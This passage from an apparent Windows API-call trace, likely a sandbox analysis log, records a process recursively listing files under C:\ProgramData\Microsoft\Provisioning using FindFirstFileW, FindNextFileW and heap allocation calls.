hFindFile=0x33e4da8) returned 1 [0272.525] GetProcessHeap () returned 0xc10000 [0272.525] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.525] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.525] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.525] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.526] GetProcessHeap () returned 0xc10000 [0272.526] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.526] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.526] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0272.526] GetProcessHeap () returned 0xc10000 [0272.526] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.526] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0272.526] GetProcessHeap () returned 0xc10000 [0272.526] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.527] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.527] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fedfc8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.527] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.527] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.527] GetProcessHeap () returned 0xc10000 [0272.527] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0272.529] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.529] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.529] GetProcessHeap () returned 0xc10000 [0272.529] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0272.529] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.529] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0272.529] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0272.530] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0272.530] GetProcessHeap () returned 0xc10000 [0272.530] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.530] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.530] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.530] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0272.530] GetProcessHeap () returned 0xc10000 [0272.531] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.531] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.531] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.531] GetProcessHeap () returned 0xc10000 [0272.531] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.531] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0272.531] GetProcessHeap () returned 0xc10000 [0272.531] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0272.532] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.532] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.532] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.533] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.533] GetProcessHeap () returned 0xc10000 [0272.533] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0272.534] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.534] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.535] GetProcessHeap () returned 0xc10000 [0272.535] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0272.535] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.535] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0272.535] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0272.535] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0272.535] GetProcessHeap () returned 0xc10000 [0272.536] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.536] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.536] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.536] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0272.536] GetProcessHeap () returned 0xc10000 [0272.536] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.536] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.536] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0272.536] GetProcessHeap () returned 0xc10000 [0272.536] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.536] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0272.536] GetProcessHeap () returned 0xc10000 [0272.536] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.538] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.538] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5410decf, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.538] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, 